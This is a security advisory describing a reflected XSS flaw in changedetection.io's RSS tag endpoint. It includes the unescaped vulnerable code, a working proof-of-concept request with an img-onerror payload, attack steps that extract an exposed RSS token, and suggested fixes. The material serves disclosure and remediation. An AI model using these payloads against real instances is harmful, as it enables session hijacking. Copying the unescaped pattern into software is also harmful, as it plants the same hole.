changedetection.io has Reflected XSS in its RSS Tag Error Response
GHSA-8whx-v8qq-pq64 · CVE-2026-29038
Published · Modified
Description
A reflected cross-site scripting (XSS) vulnerability was identified in the /rss/tag/ endpoint of changedetection.io. The tag_uuid path parameter is reflected directly in the HTTP response body without HTML escaping. Since Flask returns text/html by default for plain string responses, the browser parses and executes injected JavaScript.
This vulnerability persists in version 0.54.1, which patched the related XSS in /rss/watch/ (CVE-2026-27645 / GHSA-mw8m-398g-h89w) but did not address the identical pattern in the tag RSS endpoint.
Package
- Ecosystem: pip
- Package: changedetection.io
- Affected versions: <= 0.54.1
- Patched versions: (none yet)
Severity
Moderate - CVSS 6.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Details
File: changedetectionio/blueprint/rss/tag.py Line: 36 Source: tag.py @ 1d72716
The tag_uuid parameter from the URL path is interpolated into the response body using an f-string with no escaping:
tag = datastore.data['settings']['application'].get('tags', {}).get(tag_uuid)
if not tag:
return f"Tag with UUID {tag_uuid} not found", 404 # ← No escaping, Content-Type: text/html
Flask's default Content-Type for plain string responses is text/html; charset=utf-8, so any HTML/JavaScript injected via {tag_uuid} is rendered and executed by the browser.
Relationship to CVE-2026-27645
CVE-2026-27645 (GHSA-mw8m-398g-h89w) addressed the identical vulnerability pattern in /rss/watch/ (single_watch.py). The fix applied in v0.54.1 patched that endpoint but did not fix the same pattern in /rss/tag/ (tag.py). Testing confirms:
/rss/watch/on v0.54.1 — Returns generic 404 page, XSS no longer triggers ✅/rss/tag/on v0.54.1 — XSS payload still fires, vulnerability confirmed ❌
Attack Vector
The attack requires a valid RSS access token, which is a 32-character hex string exposed in the <link> HTML tag on the homepage without authentication:
Attacker visits the target's homepage (if unauthenticated) and extracts the RSS token from the
<link>tagCrafts a malicious URL:
http://target:5000/rss/tag/<img src=x onerror=alert(document.cookie)>?token=EXTRACTED_TOKENSends the link to a victim who has an active session on the changedetection.io instance
When the victim clicks the link, the server responds with:
Tag with UUID <img src=x onerror=alert(document.cookie)> not foundThe browser renders the
<img>tag, theonerrorfires, and JavaScript executes in the victim's session context
Proof of Concept
Request
GET /rss/tag/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E?token=60b83b06df98b24c66367bc3d233105b HTTP/1.1
Host: localhost:5000
Response
HTTP/1.1 404 NOT FOUND
Content-Type: text/html; charset=utf-8
Tag with UUID <img src=x onerror=alert(document.domain)> not found
The XSS payload is reflected unescaped in an HTML response. The browser executes alert(document.domain) and displays "localhost", confirming JavaScript execution.
Tested on: changedetection.io v0.54.1 (Docker, localhost, Feb 25, 2026)
https://github.com/user-attachments/assets/6db07f6a-6df8-48a7-a597-9f39dfa1bb29
Impact
- Session cookie theft via
document.cookieexfiltration - Account takeover if session cookies lack the
HttpOnlyflag - Phishing via crafted links that appear to originate from a trusted changedetection.io instance
- Low exploitation barrier - the RSS token is obtainable without authentication from the homepage
<link>tag - Widespread exposure - prior scanning of internet-facing instances (during CVE-2026-27645 research) identified 500+ publicly accessible deployments
Suggested Fix
Escape the tag_uuid parameter before reflecting it in the response, or set the Content-Type to text/plain:
Option A: HTML Escape (Recommended)
from markupsafe import escape
if not tag:
return f"Tag with UUID {escape(tag_uuid)} not found", 404
Option B: Set Content-Type to text/plain
from flask import make_response
if not tag:
resp = make_response(f"Tag with UUID {tag_uuid} not found", 404)
resp.headers['Content-Type'] = 'text/plain; charset=utf-8'
return resp
Credits
- Roberto Nunes (@Akokonunes) - Reporter
- neo-ai-engineer (@neo-ai-engineer) - Reporter
References
- Related advisory: GHSA-mw8m-398g-h89w (CVE-2026-27645)
- Vulnerable source: tag.py @ 1d72716
References
- WEB https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-8whx-v8qq-pq64
- WEB https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w
- ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-29038
- WEB https://github.com/dgtlmoon/changedetection.io/commit/ec7d56f85d1e9690fca7cb4711c1fb20dffec780
- PACKAGE https://github.com/dgtlmoon/changedetection.io
- WEB https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4
Ready to move
Start Securing
Free, no credit card | First findings in minutes